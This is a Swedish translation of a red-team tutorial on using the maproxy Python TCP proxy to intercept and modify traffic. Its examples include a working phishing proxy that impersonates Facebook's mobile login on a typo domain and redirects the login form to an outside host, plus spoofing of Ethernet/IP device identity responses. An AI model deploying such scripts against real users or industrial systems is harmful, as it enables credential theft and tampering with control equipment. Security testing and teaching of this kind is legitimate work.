ĂversĂ€ttningen av artikeln Ă€r framtagen inför kursstarten .

Sammanfattning
Olika typer av sÀkerhetsbedömningar, allt frÄn regelbundna penetrationstester och Red Team-operationer till intrÄng i IoT/ICS-enheter och SCADA, innebÀr arbete med binÀra nÀtverksprotokoll, vilket i grunden handlar om att avlyssna och modifiera nÀtverksdata mellan klienten och mÄlet. NÀtverkstrafiksniffning Àr ingen svÄr uppgift, dÄ vi har verktyg som Wireshark, Tcpdump eller Scapy, men modifiering framstÄr som en mer arbetskrÀvande uppgift, eftersom vi mÄste ha ett slags grÀnssnitt för att lÀsa nÀtverksdata, filtrera dem, Àndra dem i realtid och skicka tillbaka dem till mÄlvÀrden nÀstan i realtid. Dessutom skulle det vara perfekt om ett sÄdant verktyg kunde arbeta automatiskt med flera parallella anslutningar och ha möjligheter för anpassning via skript.
En gĂ„ng upptĂ€ckte jag ett verktyg som heter , och dokumentationen gjorde mig snabbt medveten om att maproxy â var precis vad jag behövde. Det Ă€r en ganska enkel, mĂ„ngsidig och lĂ€ttanpassad TCP-proxy. Jag testade detta verktyg pĂ„ flera ganska komplexa applikationer, inklusive ICS-enheter (som genererar mĂ„nga paket), för att se om det kunde hantera mĂ„nga parallella anslutningar, och verktyget presterade bra.
Denna artikel kommer att introducera dig till att bearbeta nÀtverksdata i realtid med hjÀlp av maproxy.
Ăversikt
Verktyget maproxy baserat pĂ„ Tornado â ett populĂ€rt och utvecklat asynkront nĂ€tverksramverk i Python.
I allmÀnhet kan den arbeta i flera lÀgen:
TCP:TCPâ okrypterade TCP-anslutningar;TCP:SSLochSSL:TCPâ med enkelriktad kryptering;SSL:SSLâ dubbelriktad kryptering.
Den levereras som ett bibliotek. För snabb start kan du anvÀnda exempel filer som Äterspeglar de grundlÀggande :
all.pycertificate.pemlogging_proxy.pyprivatekey.pemssl2ssl.pyssl2tcp.pytcp2ssl.pytcp2tcp.py
Fall 1 â enkel dubbelriktad proxy
Baserat pÄ tcp2tcp.py:
#!/usr/bin/env python
import tornado.ioloop
import maproxy.proxyserver
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start() Som standard ProxyServer() tar emot tvĂ„ argument â anslutningslĂ€ge och mĂ„port. server.listen() tar emot ett argument â portnumret för att lyssna efter inkommande anslutningar.
Kör skriptet:
# python tcp2tcp.py För att utföra ett test kommer vi att koppla upp oss mot den lokala SSH-servern via vÄrt proxy-skript som lyssnar pÄ 2222/tcp port och ansluter till standardporten 22/tcp SSH-servrar:

VÀlkomstbanner meddelar att vÄrt exempel pÄ skript framgÄngsrikt har proxytt nÀtverkstrafiken.
Fall 2 â modifiering av data
Ett annat demo-skript logging_proxy.py Àr perfekt för interaktion med nÀtverksdata. Kommentarerna i filen beskriver klassens metoder som du kan modifiera för att uppnÄ ditt mÄl:

Det mest intressanta hÀr:
on_c2p_done_readâ för att fĂ„nga data pĂ„ vĂ€gen frĂ„n klienten till servern;on_p2s_done_readâ bakĂ„t.
LÄt oss försöka Àndra SSH-bannern som servern returnerar till klienten:
[âŠ]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[âŠ]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[âŠ]Kör skriptet:

Som du kan se har klienten blivit missledd eftersom namnet pÄ SSH-servern har Àndrats till «DumnySSH».

Fall 3 â enkel phishing-webbsida
Det finns oÀndligt mÄnga anvÀndningsomrÄden för detta verktyg. Denna gÄng ska vi fokusera pÄ nÄgot mer praktiskt inom Red Team-operationer. LÄt oss imitera landningssidan m.facebook.com och anvÀnda en anpassad domÀn med avsiktlig stavfel, till exempel, m.facebok.com. För demonstrationssyften antas vi bara att domÀnen Àr registrerad av oss.
Vi tÀnker skapa en okrypterad nÀtverksanslutning med vÄr proxy för offer och SSL-Stream för Facebook-servern (31.13.81.36). För att detta exempel ska fungera behöver vi ersÀtta HTTP-vÀrdhuvudet och injicera det korrekta vÀrdnamnet, samt stÀnga av komprimering av svar för att fÄ lÀtt tillgÄng till deras innehÄll. I slutÀndan kommer vi att ersÀtta HTML-formulÀret sÄ att inloggningsuppgifterna skickas till oss istÀllet för till Facebook-servrar:
[âŠ]
def on_c2p_done_read(self,data):
# ersÀtta vÀrdhuvud
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# avaktivera kompression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[âŠ]
def on_p2s_done_read(self,data):
# partiell ersÀttning av svaret
data = data.replace("action="/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[âŠ]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[âŠ]Slutsatsen:

Som du kan se har vi lyckats byta ut den ursprungliga webbplatsen.
Fall 4 â Vi skadar Ethernet/IP
Jag har arbetat med industriella enheter och mjukvara (ICS / SCADA) under en lÄng tid, sÄsom programmerbara kontroller (PLC), in- och utgÄngsmoduler, drivsystem, relÀer, programmeringsmiljöer och mycket mer. Detta fall Àr för dem som gillar industriella prylar. Att hacka sÄdana lösningar innebÀr aktivt arbete med nÀtverksprotokoll. I följande exempel vill jag visa hur du kan modifiera nÀtverkstrafik för ICS/SCADA.
För detta behöver du följande:
- En nÀtverks-sniffer, till exempel Wireshark;
- Ethernet/IP eller bara en SIP-enhet, som du kan hitta genom Shodan-tjÀnsten;
- VÄrt skript baserat pÄ
maproxy.
Till att börja med, lÄt oss se hur ett typiskt identifikationssvar frÄn CIP (Common Industrial Protocol) ser ut:

Identifiering av enheten sker via Ethernet/IP-protokollet, som Ă€r en utvidgad version av Ethernet-protokollet för industriella Ă€ndamĂ„l, och omger kontrollprotokoll, sĂ„som CIP. Vi kommer att förĂ€ndra det slutna identifikationsnamnet som syns i skĂ€rmdumpen âNI-IndComm for Ethernetâ med hjĂ€lp av vĂ„rt proxy-skript. Vi skulle kunna Ă„teranvĂ€nda skriptet logging_proxy.py och pĂ„ liknande sĂ€tt modifiera klassmetoden on_p2s_done_read, eftersom vi vill att kunden ska se ett annat identifikationsnamn.
Kod:
[âŠ]
def on_p2s_done_read(self,data):
# delvis ersÀttning av svaret
# Kontrollerar om vi fÄtt List Identity meddelande som svar
if data[26:28] == b'x0cx00':
print('Fick svar, ersÀtter')
data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
super(LoggingSession,self).on_p2s_done_read(data)
[âŠ]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[âŠ]
I grund och botten begÀrde vi enhetsidentifiering tvÄ gÄnger, dÀr det andra svaret Àr originalet, medan det första modifierades i realtid.
Och sist men inte minst
Enligt min mening maproxy ett praktiskt och enkelt verktyg som dessutom Àr skrivet i Python, sÄ jag tror att du ocksÄ kan dra nytta av att anvÀnda det. Naturligtvis finns det mer avancerade verktyg för att hantera och modifiera nÀtverksdata, men de krÀver ocksÄ mer uppmÀrksamhet och Àr vanligtvis skapade för specifika anvÀndningsscenarier, sÄsom , eller för fall som liknar det tredje, eller för det senaste fallet. Hur som helst, med hjÀlp av maproxy kan du snabbt förverkliga dina idéer om att avlyssna nÀtverksdata, eftersom skriptexemplen Àr mycket tydliga.
KĂ€lla: habr.com
